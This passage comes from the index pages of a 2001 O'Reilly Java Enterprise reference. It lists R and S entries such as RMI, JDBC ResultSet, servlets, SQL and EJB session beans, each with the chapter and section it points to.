stub and skeleton classes, generating: 9. RMI Tools
stubs, skeletons and objects, relationship: 3.2. Defining Remote Objects
remote reference, RemoteObject, containing: 3.2.1. Key RMI Classes for Remote Object Implementations
remote references
client stubs: 3.1.2. RMI Architecture
clients, obtaining (IDL/Java conversion): 4.3. Putting It in the Public Eye
CORBA: 4.4. Finding Remote Objects
expiring: 3.1.3.3. Distributed garbage collection
factory classes: 3.4.3. Factory Classes
finding, methods, listed (CORBA): 4.4. Finding Remote Objects
objects, copying vs.: 3.4.2. Remote Method Arguments and Return Values
persistence: 3.2.1. Key RMI Classes for Remote Object Implementations
3.6. Remote Object Activation
3.6.1. Persistent Remote References
point-to-point, nonpersistent: 3.2.1. Key RMI Classes for Remote Object Implementations
reestablishing with handles: 7.6.6. Handles on Entity Beans
RMI architecture: 3.1.2. RMI Architecture
stringified: 4.4.3. Stringified Object References
stubs (server objects): 4.2.2.4. The client and server stubs
RemoteCall interface: 17. The java.rmi.server Package
remoteEquals() (RemoteRef): 17. The java.rmi.server Package
RemoteException class: 3.1.1. RMI in Action
3.2. Defining Remote Objects
7.4.1. Home Interface
7.6.2. Finder Methods
13. The java.rmi Package
13. The java.rmi Package
remoteHashCode() (RemoteRef): 17. The java.rmi.server Package
RemoteObject class: 3.2.1. Key RMI Classes for Remote Object Implementations
17. The java.rmi.server Package
RemoteRef interface: 17. The java.rmi.server Package
RemoteServer class: 3.2.1. Key RMI Classes for Remote Object Implementations
3.6.2. Defining an Activatable Remote Object
14. The java.rmi.activation Package
17. The java.rmi.server Package
RemoteStub class: 17. The java.rmi.server Package
remoteToString() (RemoteRef): 17. The java.rmi.server Package
remove()
Attributes interface: 6.9.4. The Attribute Interface
EJBHome interface: 19. The javax.ejb Package
entity beans (container-managed persistence): 7.6.7. Container-Managed Persistence
RemoveException class: 19. The javax.ejb Package
removeValue() (HttpSession): 26. The javax.servlet.http Package
repeatable reads (transactions): 2.10. Transactions
replication (remote objects): 3.1.2. RMI Architecture
17. The java.rmi.server Package
Repository interface (CORBA), Java IDL not supporting: 12. Java IDL Tools
request(), TopicRequestor interface: 21. The javax.jms Package
Request class: 30. The org.omg.CORBA Package
request dispatching (servlets): 5.10.1. Request Dispatching
Request interface: 4.5.1. Dynamic Invocation Interface
request() (QueueRequestor): 21. The javax.jms Package
RequestDispatcher interface: 5.10.1. Request Dispatching
25. The javax.servlet Package
requests (servlets): 5.2.5. Servlet Requests
attributes, setting: 5.10.1. Request Dispatching
reset() (BytesMessage): 21. The javax.jms Package
resolve() (NamingContext): 35. The org.omg.CosNaming Package
resolve_initial_references() (ORB): 4.1.3. The Naming Service
4.1.3. The Naming Service
4.3. Putting It in the Public Eye
4.4.1. Initial ORB References
30. The org.omg.CORBA Package
Resolver interface: 24. The javax.naming.spi Package
ResolveResult class: 24. The javax.naming.spi Package
resource abstraction (servlets): 5.10.3. Resource Abstraction
resource management
bindings, listing: 6.6.3. Listing the Bindings of a Context
database connections, closing: 2.4. Connecting to the Database
servers (EJB), container role in: 7.2.3. The EJB Container
servlets, benefits: 5.1. The Servlet Life Cycle
shared attributes (servlets): 5.10.2. Shared Attributes
resource pooling
EJB, container management of: 7.2.3. The EJB Container
ResponseHandler interface: 33. The org.omg.CORBA.portable Package
result sets
deleting rows: 2.13.1. Results Handling
multiple: 2.5.1. Multiple Result Sets
structure, discovering: 2.9. Metadata
results, SQL queries: 2.6. Results
ResultSet interface: 2.2. JDBC Basics
2.6. Results
18. The java.sql Package
BLOBs and CLOBs: 2.13.4. BLOBs and CLOBs
cursor location (JDBC 2.0): 2.13.1. Results Handling
data types, large, handling: 2.6.2. Large Data Types
JDBC 2.0 vs. 1.0, navigating: 2.6. Results
JDBC 1.0 vs. JDBC 2.0: 2.13.1. Results Handling
result set types, listed: 2.13.1. Results Handling
rows, inserting, deleting, editing data: 2.13.1. Results Handling
scroll-sensitive, updateable: 2.13.1. Results Handling
SQL queries: 2.5. Statements
updating (single table without joins): 2.13.1. Results Handling
ResultSetMetaData interface: 2.9. Metadata
18. The java.sql Package
database table, contents and data types (example program): 2.9.2. ResultSetMetaData
return codes (SQL): 8.6. Return Codes
return values (remote methods): 3.4.2. Remote Method Arguments and Return Values
serializable, required: 3.4.2. Remote Method Arguments and Return Values
return_value() (Request): 30. The org.omg.CORBA Package
rewind() (DynAny): 30. The org.omg.CORBA Package
RMI: 3. Remote Method Invocation
activation features, listed: 3.6. Remote Object Activation
activation system: 3.2.1. Key RMI Classes for Remote Object Implementations
14. The java.rmi.activation Package
architecture: 3.1.2. RMI Architecture
classes, converting to RMI/IIOP: 3.8. RMI over IIOP
classes, loading: 3.5. Dynamically Loaded Classes
communication styles, remote objects: 3.1.2. RMI Architecture
CORBA distributed object API vs.: 3.7.1. RMI with JNI Versus CORBA
CORBA vs.: 4.1. The CORBA Architecture
EJB and: 7. Enterprise JavaBeans
fundamental roles: 7.2. EJB Roles
IIOP: 3.8. RMI over IIOP
interfaces (elements): 3. Remote Method Invocation
JNDI, looking up remote objects: 6. JNDI
JNI vs. CORBA: 3.7.1. RMI with JNI Versus CORBA
language dependence (Java only): 3.1. Introduction to RMI
native method calls: 3.7. RMI and Native Method Calls
object services: 3.1.3. RMI Object Services
objects, accessing from CORBA: 3.8.1. Accessing RMI Objects from CORBA
registry (see RMI registry; RMI Naming registry)
stub/skeleton layer: 3.4.2. Remote Method Arguments and Return Values
RMI API
activation daemon: 9. RMI Tools
registry, environment (classpath): 9. RMI Tools
RMI registry: 9. RMI Tools
rmic compiler (see rmic)
serial version utility: 9. RMI Tools
tools: 9. RMI Tools
RMI compiler (see rmic)
RMI Naming registry: 3.6.3.1. Registering an activatable object without instantiating
(see also RMI registry)
JNDI, conversion (talking to CORBA Naming Service): 3.8. RMI over IIOP
remote objects, registering: 3.6.3.1. Registering an activatable object without instantiating
rmi protocol (object URLs): 3.4.1. The Registry and Naming Services
RMI registry: 3.1.3.1. Naming/registry service
3.4.1. The Registry and Naming Services
activatable class, registering: 3.6. Remote Object Activation
classpath, stubs and skeletons: 3.5.1. Configuring Clients and Servers for Remote Class Loading
factory class vs.: 3.4.3. Factory Classes
factory classes: 3.4.3. Factory Classes
naming service: 13. The java.rmi Package
registering remote objects without activation: 3.6. Remote Object Activation
remote objects, looking up: 3.4.1. The Registry and Naming Services
remote objects, registering: 3.1.1. RMI in Action
RMI (Remote Method Invocation): 1.3.2. RMI: Remote Method Invocation
rmic: 9. RMI Tools
Skeleton interface: 17. The java.rmi.server Package
stubs and skeletons: 3.1.1. RMI in Action
3.2. Defining Remote Objects
stubs and skeletons, generating: 3.3. Creating the Stubs and Skeletons
updated, RMI/IIOP: 3.8. RMI over IIOP
RMIClassLoader class: 3.5. Dynamically Loaded Classes
3.5.1. Configuring Clients and Servers for Remote Class Loading
17. The java.rmi.server Package
RMIClientSocketFactory class: 17. The java.rmi.server Package
RMIClientSocketFactory interface: 17. The java.rmi.server Package
rmid command: 9. RMI Tools
RMIFailureHandler class: 17. The java.rmi.server Package
RMI/IIOP
RMI communicating with CORBA remote objects: 3.1. Introduction to RMI
servers, client compatibility with: 7.9.5. Assorted Other Changes
TCP/IP protocol base: 4.1.4. Inter-ORB Communication
tnameserv utility: 3.8. RMI over IIOP
RMISecurityException class: 13. The java.rmi Package
RMISecurityManager class: 3.5.1. Configuring Clients and Servers for Remote Class Loading
13. The java.rmi Package
13. The java.rmi Package
setting for remote class loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading
RMIServerSocketFactory class: 17. The java.rmi.server Package
RMIServerSocketFactory interface: 17. The java.rmi.server Package
RMISocketFactory class: 17. The java.rmi.server Package
rollback()
Connection interface: 18. The java.sql Package
UserTransaction interface: 28. The javax.transaction Package
rollback (transactions): 1.3.8. JTA: Managing Distributed Transactions
RollbackException class: 28. The javax.transaction Package
rollbacks (transactions): 2.10. Transactions
root cause exception, specifying (Servlet API Version 2.1): 5.10. The Servlet API 2.1
root (CORBA naming directory): 4.1.3. The Naming Service
root object class (CORBA): 4.4. Finding Remote Objects
root packages (IDL/Java mapping): 12. Java IDL Tools
rows
insertions, preventing: 2.10. Transactions
navigating (ResultSet): 2.6. Results
ResultSet
accessing: 2.13.1. Results Handling
editing data, inserting or deleting: 2.13.1. Results Handling
RowSet interface: 2.13.5. The JDBC Standard Extension
27. The javax.sql Package
RowSetEvent class: 27. The javax.sql Package
RowSetInternal interface: 27. The javax.sql Package
RowSetListener interface: 27. The javax.sql Package
RowSetMetaData interface: 27. The javax.sql Package
RowSetReader interface: 27. The javax.sql Package
RowSetWriter interface: 27. The javax.sql Package
run-as-identity: 7.7.2. Access-Control Deployment Attributes
run-as-mode: 7.7.2. Access-Control Deployment Attributes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

scalar database functions: 2.12. Escape Sequences
schemas, 8.1. Relational Databases
schemas (SQL), commands, manipulating: 8.3. Schema Manipulation Commands
SchemaViolationException class: 23. The javax.naming.directory Package
scope (searches), setting: 6.12.3. Search Controls
scopes (ILD naming), interfaces, inherited: 10.10.3.2. Constant, type, and exception inheritance
scrolling
result sets: 2.13.1. Results Handling
2.13.1. Results Handling
support information (DatabaseMetaData): 2.13.1. Results Handling
search()
DirContext interface: 6.12. Searching a Directory
23. The javax.naming.directory Package
NamingShell class: 6.12.4. A Search Command
search() (DirContext): 23. The javax.naming.directory Package
SearchControls class: 6.12.3. Search Controls
6.12.3. Search Controls
23. The javax.naming.directory Package
searching
command: 6.12.4. A Search Command
controls: 6.12.3. Search Controls
directories: 6.12. Searching a Directory
filters: 6.12.1. Search Criteria
filter: 6.12.4. A Search Command
filters
logical operators, combining with: 6.12.1. Search Criteria
filters, using: 6.12.1. Search Criteria
results: 6.12.2. Search Results
scope, setting: 6.12.3. Search Controls
SearchResult class: 23. The javax.naming.directory Package
security
access control: 20. The javax.ejb.deployment Package
classes, loading remote: 3.5.1. Configuring Clients and Servers for Remote Class Loading
CORBA policy services: 4. Java IDL
EJB containers: 7.7.2. Access-Control Deployment Attributes
EJB/JNDI server interactions: 7.8.1. Finding Home Interfaces Through JNDI
HTTPS connections (cookies): 5.7. Cookies
JMS: 21. The javax.jms Package
naming exceptions: 22. The javax.naming Package
policies, overriding: 30. The org.omg.CORBA Package
remote objects, exporting: 17. The java.rmi.server Package
RMI: 13. The java.rmi Package
servlets: 5.2.7. Security
session IDs, exposing: 5.8.2. Session Contexts
security policies, remote classes, loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading
Security Service (CORBA): 11.2. Security Service
11.11. Licensing Service
SECURITY_PRINCIPAL property: 7.8.1. Finding Home Interfaces Through JNDI
seek() (DynAny): 30. The org.omg.CORBA Package
semicolons (IDL vs. Java): 4.2.1.1. Modules
send() (QueueSender): 21. The javax.jms Package
send_deferred() (Request): 30. The org.omg.CORBA Package
sendError() (HttpServletResponse): 5.2.4. Servlet Responses
5.2.6.1. Status codes
26. The javax.servlet.http Package
send_oneway()(Request): 30. The org.omg.CORBA Package
sendRedirect() (HTTPServletResponse): 5.2.4. Servlet Responses
separator characters (JNDI compound names): 6.6.1. How Names Work
sequences (IDL): 10.7.3. Sequences
Serializable interface: 3.2.1. Key RMI Classes for Remote Object Implementations
3.4.2. Remote Method Arguments and Return Values
serialization: 1.3.2. RMI: Remote Method Invocation
7.4.3. The Bean Implementation
(see also passivation)
beans (passivation): 7.4.3. The Bean Implementation
data structures (entity beans): 7.6.7.1. Handling complex data structures
deployment descriptors: 7.7. Deploying an Enterprise JavaBeans Object
EJB 1.1, changes: 7.9.1. XML-Based Deployment Descriptors
handles: 7.6.6. Handles on Entity Beans
HomeHandle: 7.9.3. Home Handles
MarshalledObject: 3.6.4. Activation Groups
objects (holder class): 4.2.2.3. The holder class
remote method arguments: 3.1.2. RMI Architecture
remote methods, primitive data types: 3.4.2. Remote Method Arguments and Return Values
RMI objects: 13. The java.rmi Package
Streamable object (CORBA): 4.2.2.3. The holder class
serialization and deserialization (objects), java.io package features: 1.3.2. RMI: Remote Method Invocation
serialver utility, options: 9. RMI Tools
serialver utility (RMI): 9. RMI Tools
ServantObject class: 33. The org.omg.CORBA.portable Package
server applications, network hardware and: 1.2. Enterprise Computing Demystified
server-side implementation, remote objects: 17. The java.rmi.server Package
server-side implementation (EJB interfaces): 7.2.3. The EJB Container
server-side includes: 5.10.1. Request Dispatching
server-side Java components, accessing directly: 5.6. Server-Side Includes
server-side programs, EJB and: 1.3.5. Enterprise JavaBeans
server skeletons: 3.1.1. RMI in Action
3.1.1. RMI in Action
3.1.2. RMI Architecture
4.2.2.4. The client and server stubs
17. The java.rmi.server Package
classes, loading: 3.5. Dynamically Loaded Classes
classes, regenerating (RMI/IIOP): 3.8. RMI over IIOP
CORBA: 4.1. The CORBA Architecture
4.1.2. Object Request Broker
generating: 3.3. Creating the Stubs and Skeletons
generating (RMI): 3.2. Defining Remote Objects
idltojava compiler, generating: 4.2.2. Turning IDL Into Java
method invocations, forwarding to server implementation object: 4.5. What If I Don't Know the Interface?
RMI architecture: 3.1.2. RMI Architecture
rmic compiler, generating: 9. RMI Tools
ServerCloneException class: 17. The java.rmi.server Package
ServerError class: 13. The java.rmi Package
ServerException class: 13. The java.rmi Package
ServerNotActiveException class: 17. The java.rmi.server Package
ServerRef interface: 17. The java.rmi.server Package
ServerRequest class: 30. The org.omg.CORBA Package
ServerRuntimeException class: 13. The java.rmi Package
servers
configuring, remote class loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading
constructing with given name: 3.6.2.2. Implementing an activatable object
containers and: 1.3.5. Enterprise JavaBeans
cookie support, lacking: 5.8. Session Tracking
directory (see directory servers)
distributed garbage collection: 15. The java.rmi.dgc Package
EJB: 7. Enterprise JavaBeans
bean instances: 7.2.2. The Enterprise JavaBeans Object
classes, connecting beans to container: 7.4.3. The Bean Implementation
containers vs.: 7.2.3. The EJB Container
JDBC connections, providing: 7.3.1. Making the EJB Server Aware of Database Transactions
portability across different (bean implementations): 7.9.4. Detailed Programming Restrictions for Bean Implementations
portability problems, container-managed persistence: 7.6.7. Container-Managed Persistence
RMI-IIOP, compatibility: 7.9.5. Assorted Other Changes
transactions, making aware of: 7.3.1. Making the EJB Server Aware of Database Transactions
EJB-enabled, types available: 7.2.3. The EJB Container
EJB/JNDI interaction: 7.8.1. Finding Home Interfaces Through JNDI
implementation RemoteObject, subclassing: 3.2.1. Key RMI Classes for Remote Object Implementations
Java implementation, lacking: 3.7.1. RMI with JNI Versus CORBA
as Java objects (RMI): 3.1. Introduction to RMI
JTA, using: 1.3.8. JTA: Managing Distributed Transactions
keep-alive checks: 5.10.1. Request Dispatching
LDAP, directory entries, prohibiting new: 6.11. Creating Directory Entries
methods implementation (IDL/Java conversion): 4.2.2.4. The client and server stubs
native libraries, loading: 3.7. RMI and Native Method Calls
objects, loading skeleton and implementation classes: 3.5. Dynamically Loaded Classes
objects, implementing in RMI: 3.2.1. Key RMI Classes for Remote Object Implementations
objects, registering (CORBA Naming Service): 3.8. RMI over IIOP
objects, remote activation (RMI): 3.1.3.2. Object activation service
objects, wrapping (holder class): 4.2.2.3. The holder class
obtaining information about (servlet requests): 5.2.5. Servlet Requests
registering RMI-enabled objects: 3.1.3.1. Naming/registry service
remote interface, implementing: 3.6.2. Defining an Activatable Remote Object
remote interface, implementing directly (EJB class): 7.4.3. The Bean Implementation
remote requests, handling: 3.1.2. RMI Architecture
resource management: 3.6. Remote Object Activation
container role: 7.2.3. The EJB Container
RMI: 17. The java.rmi.server Package
RMI/JNI or CORBA, interface to native code: 3.8. RMI over IIOP
server-side includes, implementation differences: 5.6. Server-Side Includes
servlet state, preserving between shutdowns: 5.4. Custom Servlet Initialization
session beans lifetime, dependent upon: 7.5. Implementing Session Beans
simple class (IDL): 4.2.2.1. A simple server class
stubs, generating (idltojava compiler): 4.2.2.4. The client and server stubs
web servers: 5.1. The Servlet Life Cycle
ServerSession interface: 21. The javax.jms Package
ServerSessionPool interface: 21. The javax.jms Package
_ServerStub class: 4.2.2. Turning IDL Into Java
service()
GenericServlet class: 25. The javax.servlet Package
HttpServlet class: 26. The javax.servlet.http Package
Servlet interface: 25. The javax.servlet Package
service() (BasicServlet): 5.2. Servlet Basics
service provider interface (see SPI (JNDI))
service providers
attribute values, determining: 6.9.4. The Attribute Interface
class, determining: 6.7. Creating and Destroying Contexts
JNDI, interacting with: 6.1. JNDI Architecture
listed (Sun, JNDI web page): 6.1. JNDI Architecture
name and directory protocols: 1.3.4. JNDI: Accessing Naming and Directory Services
separator characters (compound names): 6.6.1. How Names Work
ServiceDetail class: 30. The org.omg.CORBA Package
ServiceDetailHelper class: 30. The org.omg.CORBA Package
ServiceInformation class: 30. The org.omg.CORBA Package
ServiceInformationHelper class: 30. The org.omg.CORBA Package
ServiceInformationHolder class: 30. The org.omg.CORBA Package
services
CORBA: 11. CORBA Services Reference
EJB objects: 7. Enterprise JavaBeans
deployment descriptors and container roles: 7.2.2. The Enterprise JavaBeans Object
ServiceUnavailableException class: 22. The javax.naming Package
Servlet API: 1.3.6. Servlets
5. Java Servlets
25. The javax.servlet Package
component packages: 5.2. Servlet Basics
cookies: 5.7. Cookies
core elements: 5.2. Servlet Basics
exceptions: 5.2.6.2. Servlet exceptions
HTTP errors: 5.2.6.1. Status codes
life cycle: 5.1. The Servlet Life Cycle
server-side includes, support issues: 5.6. Server-Side Includes
session tracking: 5.7. Cookies
5.8. Session Tracking
Version 2.1: 5.10. The Servlet API 2.1
Servlet interface: 5.2. Servlet Basics
25. The javax.servlet Package
<SERVLET> tags (HTML pages): 5.6. Server-Side Includes
ServletContext interface: 5.10. The Servlet API 2.1
25. The javax.servlet Package
shared attribute methods (Version 2.1): 5.10.2. Shared Attributes
ServletException class: 5.2.6.2. Servlet exceptions
5.10. The Servlet API 2.1
25. The javax.servlet Package
ServletInputStream class: 25. The javax.servlet Package
ServletOutputStream class: 5.10.1. Request Dispatching
25. The javax.servlet Package
ServletRequest interface: 5.2. Servlet Basics
5.2.5. Servlet Requests
25. The javax.servlet Package
updating with target URL: 5.10.1. Request Dispatching
ServletResponse interface: 5.2. Servlet Basics
5.2.4. Servlet Responses
25. The javax.servlet Package
servlets
chaining: 5.3. Servlet Chaining
content changes, checking: 5.2.1. HTTP Servlets
database connections: 5.9. Databases and Non-HTML Content
direct access (other servlets), deprecating: 5.10.2. Shared Attributes
file-serving: 5.2.6.3. A file serving servlet
HTML forms and interactions: 5.2.2. Forms and Interaction
information about (name, author, version): 5.2.1. HTTP Servlets
initialization (custom): 5.4. Custom Servlet Initialization
non-HTML content, handling: 5.9. Databases and Non-HTML Content
POST requests, handling: 5.2.3. POST, HEAD, and Other Requests
request dispatching: 5.10.1. Request Dispatching
requests: 5.2.5. Servlet Requests
responses: 5.2.4. Servlet Responses
RMI hosts, acting as: 5.1. The Servlet Life Cycle
as server-side applets: 1.3.6. Servlets
server-side includes and: 5.6. Server-Side Includes
shopping cart (example): 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise
threads, safety: 5.5. Thread Safety
session beans: 7.2.2. The Enterprise JavaBeans Object
create methods: 7.4.3. The Bean Implementation
entity beans vs.: 7.2.2. The Enterprise JavaBeans Object
implementing: 7.5. Implementing Session Beans
Java classes/interfaces required: 7.4. Implementing a Basic EJB Object
methods, required implementation: 7.4.3. The Bean Implementation
session context, setting: 7.5. Implementing Session Beans
stateful (see stateful session beans)
stateless (see stateless session beans)
time-out, specifying (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object
transaction boundaries, container nofitication of: 7.5.2. Optional Transaction Support
Session interface: 21. The javax.jms Package
session tracking: 5. Java Servlets
5.8. Session Tracking
objects, binding and unbinding: 5.8.1. HttpSessionBindingListener
session ID, accessing: 5.8. Session Tracking
SessionBean interface: 7.4.3. The Bean Implementation
7.5. Implementing Session Beans
19. The javax.ejb Package
SessionContext interface: 7.5. Implementing Session Beans
19. The javax.ejb Package
SessionDescriptor class: 7.7. Deploying an Enterprise JavaBeans Object
7.7.3. Generating the Container Classes and Deployment Descriptor
7.7.4. Packaging Enterprise JavaBeans
20. The javax.ejb.deployment Package
SessionSynchronization interface: 7.5.2. Optional Transaction Support
19. The javax.ejb Package
set() (SearchControls): 6.12.3. Search Controls
setAttribute()
ServletContext interface: 5.10.2. Shared Attributes
ServletRequest interface: 5.10.1. Request Dispatching
setAttribute() (ServletContext): 25. The javax.servlet Package
setAutoCommit() (Connection): 18. The java.sql Package
setBlob() (PreparedStatement): 2.13.4. BLOBs and CLOBs
setClob() (PreparedStatement): 2.13.4. BLOBs and CLOBs
setCommand() (RowSet): 27. The javax.sql Package
setContentLength() (ServletResponse): 25. The javax.servlet Package
setContentType() (ServletResponse): 5.2.4. Servlet Responses
25. The javax.servlet Package
setDateHeader() (HttpServletResponse): 5.2.4. Servlet Responses
26. The javax.servlet.http Package
setDefaultStream() (LogStream): 17. The java.rmi.server Package
set_elements() (DynArray): 30. The org.omg.CORBA Package
setEntityContext(EntityContext ctx): 7.6.3. Entity Bean Implementation
setEscapeProcessing() (Statement): 2.12. Escape Sequences
setFailureHandler()
RMIFailureHandler class: 17. The java.rmi.server Package
RMISocketFactory class: 17. The java.rmi.server Package
set/get accessors (stateful session beans): 7.5.1. Stateless Versus Stateful Session Beans
setHeader() (HttpServletResponse): 5.2.4. Servlet Responses
26. The javax.servlet.http Package
setInitialContextFactoryBuilder() (NamingManager): 24. The javax.naming.spi Package
setIntHeader() (HttpServletResponse): 5.2.4. Servlet Responses
26. The javax.servlet.http Package
setJMSDeliveryMode() (Message): 21. The javax.jms Package
setLog() (RemoteServer): 17. The java.rmi.server Package
setNextException() (SQLException): 18. The java.sql Package
setNull() (PreparedStatement): 2.8. Prepared Statements
setObject(), MapMessage interface: 21. The javax.jms Package
setObject() (PreparedStatement): 2.8. Prepared Statements
SetOverrideType class: 30. The org.omg.CORBA Package
set_policy_overrides() (Object): 30. The org.omg.CORBA Package
setReturningObjFlag(): 6.12.3. Search Controls
setRollbackOnly()
Transaction interface: 28. The javax.transaction Package
UserTransaction interface: 28. The javax.transaction Package
setRollbackOnly() (EJBContext): 19. The javax.ejb Package
setSessionContext() (SessionBean): 7.5. Implementing Session Beans
19. The javax.ejb Package
setSocketFactory() (RMISocketFactory): 17. The java.rmi.server Package
setStatus() (HttpServletResponse): 5.2.4. Servlet Responses
26. The javax.servlet.http Package
setString() (PreparedStatement): 2.8. Prepared Statements
setTransactionIsolation() (Connection): 2.10. Transactions
setTransactionTimeout()
TransactionManager interface: 28. The javax.transaction Package
UserTransaction interface: 28. The javax.transaction Package
shared attributes (Servlet API Version 2.1): 5.10.2. Shared Attributes
shopping-cart servlet (example): 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise
ShortHolder class: 30. The org.omg.CORBA Package
.shtml files (HTML pages): 5.6. Server-Side Includes
SingleThreadModel interface: 5.5. Thread Safety
25. The javax.servlet Package
size() (Attributes): 6.9.4. The Attribute Interface
SizeLimitExceededException class: 22. The javax.naming Package
Skeleton class: 17. The java.rmi.server Package
SkeletonMismatchException: 17. The java.rmi.server Package
SkeletonNotFoundException: 17. The java.rmi.server Package
skeletons: 3.1.2. RMI Architecture
(see also server skeletons)
socket programming, RMI vs.: 3.1. Introduction to RMI
sockets
customized factories: 3.6.2.1. The Activatable class
servers (RMI): 17. The java.rmi.server Package
SocketSecurityException: 17. The java.rmi.server Package
Solaris C/C++ pre-processor: 12. Java IDL Tools
SPI (JNDI): 6.1. JNDI Architecture
service providers list (Sun): 6.1. JNDI Architecture
web page (Sun): 6.3.2. Other Naming Systems
SQL: 2. JDBC
ANSI-92 SQL state codes: 2.7. Handling Errors
ARRAY objects: 18. The java.sql Package
data types: 2.6. Results
DATE, TIME, and TIMESTAMP: 2.6.3. Dates and Times
mapping to Java primitive types: 2.8. Prepared Statements
database queries: 18. The java.sql Package
date and time functions: 2.12. Escape Sequences
DATE specification: 18. The java.sql Package
functions: 8.5. Functions
groups: 8.4.1.3. Groups
joins: 8.4.1.2. Subqueries and joins
predicates, listed: 8.4.1. SELECT
queries: 2.5. Statements
multiple, executing simultaneously: 2.5. Statements
reference: 8. SQL Reference
return codes: 8.6. Return Codes
SQL-92: 2.1. JDBC Architecture
standard, versions: 8. SQL Reference
statements
executing as batch: 2.13.2. Batch Updates
multiple, executing: 2.10. Transactions
precompiled, running repeatedly: 2.8. Prepared Statements
statements, types: 2.5. Statements
stored procedures: 2.11. Stored Procedures
subqueries: 8.4.1.2. Subqueries and joins
TIME specification: 18. The java.sql Package
SQL programming, JDBC API, working with: 1.3.1. JDBC: Working with Databases
SQL queries, results: 2.6. Results
SQLData interface: 18. The java.sql Package
SQLException class: 2.2. JDBC Basics
2.7. Handling Errors
18. The java.sql Package
SQLInput interface: 18. The java.sql Package
SQLOutput interface: 18. The java.sql Package
SQLSTATE return codes: 8.6. Return Codes
SQLWarning class: 2.7.1. SQL Warnings
18. The java.sql Package
18. The java.sql Package
SSL encryption, authentication (web servers): 5.2.7. Security
Standard Query Language (see SQL)
start()
Connection interface: 21. The javax.jms Package
ServerSession interface: 21. The javax.jms Package
XAResource interface: 29. The javax.transaction.xa Package
state
client manipulation (stateful session beans): 7.5.1. Stateless Versus Stateful Session Beans
entity beans, refreshing: 7.6.3. Entity Bean Implementation
information, preserving (web sessions): 5.8. Session Tracking
servlet, preserving between server shutdowns: 5.4. Custom Servlet Initialization
session beans: 7.5.1. Stateless Versus Stateful Session Beans
stateful session beans
as client extension: 7.5.1. Stateless Versus Stateful Session Beans
entity beans (bean-managed) vs.: 7.6.3.1. A persistent ProfileBean
implementation: 7.5.1. Stateless Versus Stateful Session Beans
remote interface, example: 7.5.1. Stateless Versus Stateful Session Beans
run-as-identity requirements: 7.7.2. Access-Control Deployment Attributes
stateless session beans vs.: 7.5.1. Stateless Versus Stateful Session Beans
transaction boundaries, container notification of: 7.5. Implementing Session Beans
stateless session beans, stateful session beans vs.: 7.5.1. Stateless Versus Stateful Session Beans
Statement interface: 2.2. JDBC Basics
2.5. Statements
18. The java.sql Package
PreparedStatement vs. Statement objects: 2.8. Prepared Statements
queries, executing multiple: 2.5. Statements
static methods: 14. The java.rmi.activation Package
static methods (helper class): 4.2.2. Turning IDL Into Java
status codes
common HTTP errors, listed: 5.2.6.1. Status codes
HTTP errors (servlets): 5.2.6.1. Status codes
specifying (servlet responses): 5.2.4. Servlet Responses
status codes (servlet responses): 5.2.4. Servlet Responses
Status interface: 28. The javax.transaction Package
stop(), Connection interface: 21. The javax.jms Package
stored procedures (databases): 2.11. Stored Procedures
batch updates: 2.13.2. Batch Updates
Streamable interface: 4.2.2.3. The holder class
33. The org.omg.CORBA.portable Package
StreamMessage interface: 21. The javax.jms Package
string manipulation functions (SQL): 8.5.2.2. String manipulation functions
String objects (arrays), initial objects listing: 4.4.1. Initial ORB References
StringHolder class: 30. The org.omg.CORBA Package
stringified object references: 4.4.3. Stringified Object References
4.4.3. Stringified Object References
4.4.3. Stringified Object References
StringRefAddr class: 22. The javax.naming Package
strings
addresses (references): 22. The javax.naming Package
adjacent (idltojavacompiler bugs): 12. Java IDL Tools
arrays of (parameter values): 5.2.5. Servlet Requests
concatenation operator: 8.5. Functions
DatabaseMetaData methods: 2.9.1. DatabaseMetaData
IDL: 10.4.1. Strings and Characters
mapping to Java: 10.4.1.1. Mapping strings and characters to Java
Java, converting to native: 3.7. RMI and Native Method Calls
literals (IDL): 10.5.5. String Literals
object references as printable characters: 4.4.3. Stringified Object References
read-only attribute (IDL): 4.2.1.3. Data members and methods
search filters: 6.12.1. Search Criteria
SQL, processing (databases): 2.8. Prepared Statements
string_to_object() (ORB): 4.4.3. Stringified Object References
30. The org.omg.CORBA Package
Struct interface: 18. The java.sql Package
StructMember class: 30. The org.omg.CORBA Package
structs (IDL): 10.7.4. Structs
30. The org.omg.CORBA Package
mapping to Java: 10.7.4.1. Mapping structs to Java
Structured Query Language (see SQL)
StubNotFoundException class: 13. The java.rmi Package
stubs: 3. Remote Method Invocation
as remote references to server objects: 4.2.2.4. The client and server stubs
client and server: 4.2.2.4. The client and server stubs
converting from stringified object references: 4.4.3. Stringified Object References
RMI stub/skeleton layer: 3.1.2. RMI Architecture
subcontext, reference, obtaining: 4.4.2.1. Using a naming context
subcontexts
creating: 6.11. Creating Directory Entries
destroying: 6.7. Creating and Destroying Contexts
naming systems: 6.3. Introducing the Context
subcontexts (NamingService), binding objects to: 4.3.3. Adding Objects to a Naming Context
subqueries (SQL): 8.4.1.2. Subqueries and joins
substrings (SQL): 8.5.2.2. String manipulation functions
Sun, CORBA implementation (Java IDL): 1.3.3. Java IDL: CORBA Distributed Objects
super.init() (servlets): 5.4. Custom Servlet Initialization
suppliers (CORBA events): 11.3. Event Service
supportsDataDefinitionAndDataManipulationTransactions() (DatabaseMetaData): 2.10. Transactions
supportsTransactionIsolationLevel() (DatabaseMetaData): 2.10. Transactions
supportsTransactions() (DatabaseMetaData): 2.10. Transactions
switch statements (IDL unions): 10.7.6. Unions
symbols, defining with given value (idltojava compiler): 12. Java IDL Tools
synchronization
servlets, service method: 5.5. Thread Safety
session beans
session synchronization interface: 7.5.2. Optional Transaction Support
stateless beans and: 7.5.1. Stateless Versus Stateful Session Beans
thread safety, maintaining: 5.5. Thread Safety
Synchronization interface: 28. The javax.transaction Package
synchronized methods: 38.2.3.1. Member availability and flags
SystemException class: 28. The javax.transaction Package
CORBA: 30. The org.omg.CORBA Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

